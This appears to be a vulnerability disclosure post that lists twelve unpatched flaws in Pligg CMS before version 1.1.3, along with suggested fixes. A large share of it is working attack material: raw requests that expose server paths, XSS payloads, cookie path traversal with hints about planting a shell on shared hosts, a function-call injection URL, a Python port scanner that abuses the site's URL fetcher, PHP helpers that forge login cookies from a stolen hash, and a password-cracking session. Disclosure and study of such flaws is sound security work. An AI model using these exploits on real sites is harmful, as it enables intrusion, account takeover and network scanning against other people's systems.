The Pligg CMS 0dayset #1
Over the past days I have been auditing the Pligg CMS, I am not yet through all code and there are still a lot of vulnerabilities but here are 12 things which got my attention.
Let's hope they fix it fast =D
The problem of not stopping the execution of a PHP script after a redirect
problem #1
vulnerable: versions prior to 1.1.3
result: information disclosure, unwanted execution of server side code
The Pligg CMS is redirecting users to 404error.php in such a way that it does not stop the execution of the code - normally a user would call the PHP function die(); or exit(); after doing a header("Location: direction"); because you won't be using it anymore anyway.
Because there is not a proper way of stopping the execution of the code there is the possibility of information disclosure by error messages which reveal after the redirection or there is the possibility to call to otherwise uncallable code.
Here is the code being used to redirect:
if(!defined('mnminclude')){header('Location: ../404error.php');}
A fix would be:
if(!defined('mnminclude')){header('Location: ../404error.php'); exit();}
Here is a way of exploiting this vulnerability
$ nc localhost 80 GET /libs/admin_config.php HTTP/1.1 Host: localhost HTTP/1.1 302 Found Location: ../404error.php Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html = more unwanted data =
Files found vulnerable in the current version are:
libs/admin_config.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/check_behind_proxy.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/class.pThumb.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/comment.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/csrf.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/dbconnect.php.default:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/db.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/dbtree.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/define_tables.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/extra_fields.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/extra_fields_smarty.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/ez_sql_core.php: if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/friend.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/html1.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/link.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/link_summary.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/login.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/mailer.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/pre_install_check.php://if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/redirector.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/settings_from_db.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/sidebarstories.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/smartyvariables.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/tags.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/trackback.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/user.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/utils.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
libs/votes.php:if(!defined('mnminclude')){header('Location: ../404error.php');}
-- that's about all files in /libs/
--
Use of undefined constant
problem #2
vulnerable: versions prior to 1.1.3
result: full path disclosure (FPD/information disclosure)
file=libs/settings_from_db.php;line=7
code:
include_once mnminclude.'db.php';
The constant mnminclude is not defined when there is a direct call to this script and results in an error message with the full working directory.
A possible fix would be defining the constant mnminclude before using it.
exploitation is possible by combining problem #1:
$ nc localhost 80 GET /libs/settings_from_db.php HTTP/1.1 Host: localhost HTTP/1.1 200 OK Vary: Accept-Encoding Content-Length: 823 Content-Type: text/html Notice: Use of undefined constant mnminclude - assumed 'mnminclude' in /var/www/libs/settings_from_db.php on line 7 ...
Use of undefined constant
problem #3
vulnerable: versions prior to 1.1.3
result: full path disclosure (FPD/information disclosure)
Similar problem to problem #2, use of undefined constant "caching" in this case.
file = libs/settings_from_db.php
line = 9
code:
if(caching == 1){
...
Cross site request forgery protection is by passable
problem #4
vulnerable: versions prior to 1.1.3
result: Cross site request forgery protection by-passion
Code:
if ($_SESSION['xsfr'])
$xsfr_first_page = 0;
else
{
$xsfr_first_page = 1;
$_SESSION['xsfr'] = 1;
}
If an attacker would create an iframe pointing to the location of the place he wants to CSRF and reload it after it is loaded the $_SESSION['xsfr'] will be set to 1 and cross site request forgery attacks are possible.
exploitation methods come as soon as we come across implementations of this protection.
A fix would be the implementation of tokens in every form - not an attempt for a global fix.
Cross site scripting
problem #4
vulnerable: versions prior to 1.1.3
result: Cross site scripting
The file /libs/pre_install_check.php has this code on line ~23-32:
if (isset($errors)) {
echo "<body style='background:#fff url(./templates/admin/images/pre_install.png)
repeat-x top center;'><ol style='width:600px;'>
<h1 style='color:#fff;margin-top:25px;margin-bottom:35px;'>
No Installation Detected!</h1>
<p><strong>Haven't set up your Pligg site yet?</strong>
<br />Please fix the errors below and proceed to the
<a href='./readme.html'>Pligg Readme</a> or the
<a href='./install/'>Pligg Installation</a>
which will attempt to rename the .default files for you.</p>
<div style='
position:absolute;bottom:0;left:0;width:100%;height:40px;font-size:20px;
text-align:center;'
>
<a style='color:#000;' href='http://www.pligg.com'>Pligg CMS</a></div>
";
foreach ($errors as $error) {
$output.="<li style='font-size:34px'> </li> $error \n";
$output.='<div style="background:#CC0000;color:#fff;font-weight:bold;margin:0 20px;padding:10px;">
Please fix the above error, install halted!</div><br />
';
}
die($output);
echo '</ol></body>';
}
When register_globals is 1 it is possible to create a error by adding ?errors[0]=<script>alert(123)</script> to the url.
A possible fix would be filtering $error with htmlspecialchars().
The redirection does not allow us to trick the browser in staying on the page - we have to exploit it through config.php or another file which includes this script, I will be using config.php because it works.
Exploit:
Redirect the browser to -> http://localhost/config.php?errors[0]=<script>alert(123);</script>
Undefined variable
problem #5
vulnerable: versions prior to 1.1.3
result: information disclosure
The same code in problem #4 is exploitable information disclosure wise - it allows full path disclosure because $output is not a defined variable before it's being used - combining this again with problem #1 and creating a direct request to /libs/pre_install_check.php will create an error message.
You can also call to other locations which include this file and don't redirect you - this way you don't need the problem #1 exploit.
A fix would be adding:
$output="";
somewhere before calling to it.
Here is how a request would look like:
$ nc localhost 80 GET /libs/pre_install_check.php?errors[0] HTTP/1.1 Host: localhost HTTP/1.1 200 OK Vary: Accept-Encoding Content-Length: 925 Content-Type: text/html <body style='background:#fff url(./templates/admin/images/pre_install.png) repeat-x top center;' ><ol style='width:600px;'><h1 style='color:#fff;margin-top:25px;margin-bottom:35px;' > No Installation Detected!</h1><p><strong>Haven't set up your Pligg site yet? </strong><br />Please fix the errors below and proceed to the <a href='./readme.html'>Pligg Readme</a> or the <a href='./install/'> Pligg Installation</a> which will attempt to rename the .default files for you.< /p><div style=' position:absolute;bottom:0;left:0;width:100%;height:40px;font-size:20px;text-align: center; '><a style='color:#000;' href='http://www.pligg.com'>Pligg CMS</a></div> Notice: Undefined variable: output in /var/www/libs/pre_install_check.php on line 27 <li style='font-size:34px'> </li> <div style="background:#CC0000;color:#fff;font-weight:bold;margin:0 20px;padding:10px;"> Please fix the above error, install halted!</div><br />
A request to config.php would look like this:
$ nc localhost 80 GET /config?errors[0] HTTP/1.1 Host: localhost ...
Use of undefined constant
problem #6
vulnerable: versions prior to 1.1.3
result: information disclosure/Full path disclosure
settings.php makes use of the constant "mnminclude" which is undeclared when calling directly to this script - there is no redirect or something.
Exploitation is possible with a simple request to /settings.php with the browser.
File existence exploration
problem #7
vulnerable: versions prior to 1.1.3
result: information disclosure/local file exploration
config.php has this code near line 80:
if(isset($_COOKIE['template'])){
$thetemp = sanit($_COOKIE['template']);
}
and about 6 further lower:
$file = dirname(__FILE__) . '/templates/' . $thetemp . "/pligg.tpl";
unset($errors);
if (!file_exists($file)) { $errors[]='You may have typed the template name wrong or "'. $thetemp . '" does not exist.
Click <a href = "admin/admin_config.php?page=Template">here</a> to fix it.'; }
The function sanit() does:
addslashes(htmlentities(strip_tags($var),ENT_QUOTES,'UTF-8'));
You can find out the existence of files by creating a cookie named "template" and giving it a value, the file "pligg.tpl" must be inside the directory a positive means no error.
wistie is the default theme name, I will be using this during exploration/exploitation.
So having a cookie named:
template=../templates/wistie
which makes the code:
$file = dirname(__FILE__) . "/templates/../templates/wistie/pligg.tpl";
/templates/../templates/wistie/pligg.tpl does exist so we know now that the name of the underlaying directory is templates.
We can do this all to the root.
template=../../www/templates/wistie
template=../../../var/www/templates/wistie
In a shared hosting envoirnment you could call to your vhost and if you have an infected instalation ready (an infected pligg.tpl) you can execute code as the other user and compromise that user:
template=../../user2/templates/wistie
/cache/ has to be configured chmodded 777 so if you are planning an shared hosting attack you can also try something with this, it's also the place where you can upload your shell securely.
Random user defined function execution
problem #8
vulnerable: versions prior to 1.1.3
result: user defined function execution
index.php has:
check_actions('index_top', $vars);
on line 9.
check_actions is inside modules/modules_libs.php around line 89 and looks like this:
function check_actions($location, &$vars)
{
global $module_actions;
$vars['location'] = $location;
if($module_actions){
foreach ( $module_actions as $k => $v ) {
if($k == $location){
foreach ( $v as $kk => $vv ) {
call_user_func_array($kk, array(&$vars));
}
}
}
}
}
You need register_globals=1 otherwise you can't manipulate the global array $module_actions which is how we are going to exploit this vulnerability.
The function check_actions() is used for executing some user defined function.
$module_actions is an array of array's, the nested array's look like this:
[short name of function] => Array ( [user defined function name] => )
$location is the short function name, $vars['location'] shall take the value of $location.
If $location has a name equal to a short name of a function inside $module_actions it will continue to that deepest foreach loop.
One unseen problem is that if the array module_actions[key] has more keys than just one it will also execute the name of that key.
Here is an example of exploiting it:
/index.php?module_actions[index_top][error]
This will make the application call to the function error.
Cross site scripting in function print_textinputs_var()
problem #9
vulnerable: versions prior to 1.1.3
result: Cross site scripting
/3rdparty/speller/server-scripts/spellchecker.php is vulnerable to Cross Site Scripting.
print_textinputs_var(); echoes values of the array $textinputs unfiltered which allows cross site scripting.
A fix would be filtering the output.
This vulnerability is actually in the application "spellerpages" and versions prior to 0.5.1 should be considered vulnerable.
Here is the exploit:
<form action="http://localhost/3rdparty/speller/server-scripts/spellchecker.php" method="POST"> <input value='abc");</script><script>alert(1);</script></script>' name="textinputs[asdfasdf]"> <input type="submit"> </form>
The application can act as your proxy
problem #10
vulnerable: versions prior to 1.1.3
result: discovery of open ports, creation of TCP connections
submit.php calls to function get() which is located in libs/link.php and that function calls to the function DownloadToString() which is in the class PliggHTTPRequest().
These functions will examine if the inputted url is actually an url and then call to the function fsockopen which allows weird port numbers, line breaks and thus allows communication with anything you want:
$this->_fp = fsockopen(($this->_protocol == 'https' ? 'tls://' : '') . $this->_host, $this->_port, $errno, $errstr, 20);
This function will connect with the given website and return the result; you can for example talk with line based protocol (IRC,FTP etc etc) and see if a port is open.
Here is an exploit example which will scan the server where Pligg is installed on on open ports.
import urllib,urllib2
def checkport(url,phpsessid,mnm_user,mnm_key,host,port):
headers = {
'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
'Cookie' : 'PHPSESSID='+phpsessid+'; mnm_user='+mnm_user+'; mnm_key='+mnm_key+'; referrer=xsfr_bypass'
}
url=url.replace("{port}",str(port))
url=url.replace("{host}",host)
req = urllib2.Request(url, "", headers)
response = urllib2.urlopen(req)
the_page = response.read()
print url
if the_page.find("Step 2 of 3")>0:
print "Port "+str(port)+" was open!"
elif the_page.find("URL is invalid or blocked")>0:
#print "Port was closed!"
pass
else:
print "Could not clearly see if the port was closed or open :/"
# Cookies
phpsessid=""
mnm_user=""
mnm_key=""
# Hop details
pligg_server="localhost"
pligg_path="/"
# Target details
target_to_scan="localhost"
port=1
while port<=60000:
checkport("http://"+pligg_server+pligg_path+"submit.php?url=http://{host}:{port}",
phpsessid,mnm_user,mnm_key,target_to_scan,port)
port+=1
Post login bypass
problem #11
vulnerable: versions prior to 1.1.3
result: backdoored way of logging into an user
The cookies mnm_key and mnm_user together are a way for the application to decided who you are.
mnm_key is a base64 encoded value which has 3 fields separated with ":"'s, the third field is the login_pass of the user md5 crypted.
This value is hard to guess, the login_pass is a value which got generated at registering and is a sha1 hash with a random prefix as salt, with that salt in plaintext in front of those 40 sha1 characters.
The other values are easy because they are your username and your crypted username.
It is however possible when you sniffed, stole, xssed, fireshept, extracted the cookie by having local access to reuse this md5 to authenticate yourself because that is the one and only key which is close to impossible to guess to generate valid cookies which will allow you to log in to the users account without knowing it's password.
Here are 2 PHP functions I made which are useful when you are exploiting this vulnerability:
function bake_cookies($username,$md5){
$mnm_user=$username;
$mnm_key=base64_encode(implode(":",array($username,crypt($username,22),$md5)));
echo "javascript:void(document.cookie=\"mnm_user=".$mnm_user."\"); void(document.cookie=\"mnm_key=".$mnm_key.
"\");\n";
}
function extract_md5($mnm_key){
$mnm_key=explode(":",base64_decode($mnm_key));
return $mnm_key[2];
}
SALTS are not properly kept secret
problem #12
vulnerable: versions prior to 1.1.3
result: capability of cracking the hashes locally
The hashes in the database look like this:
31a63a80df8c5a02503dd0742755b7ae8f9174fc6855c1eb1
The last 40 characters are a sha1($salt.$password), the preceeding characters are the salt itself which should not be obtainable in the database.
Here is an example how to crack this hash with john the ripper jumbo:
First we have to format it for jtr:
<?php
function jtr_format($sha1Salted,$username='user1'){
$sha1=substr($sha1Salted,-40);
$salt=substr($sha1Salted,0,-40);
return $username.":\$SHA1p\$".$salt."\$".$sha1;
}
echo jtr_format("31a63a80df8c5a02503dd0742755b7ae8f9174fc6855c1eb1","administrator");
?>
$ php jtr_jumbo.php > admin_hash.txt
$ cat admin_hash.txt
administrator:$SHA1p$31a63a80d$f8c5a02503dd0742755b7ae8f9174fc6855c1eb1
$ john admin_hash.txt
Loaded 1 password hash (Generic salted SHA-1 [32/32])
password (administrator)
guesses: 1 time: 0:00:00:00 100.00% (2) (ETA: Mon Mar 14 23:04:47 2011) c/s: 1536 trying: password
$ john admin_hash.txt --show
administrator:password
1 password hash cracked, 0 left

Hello, I am Jelmer born in 1991 and I live in Holland. I met Fredrik and Mathias through the internet. You can contact me via email jelmerdehen [ at ] hotmail [d0t] com Or you can chat with me in the IRC.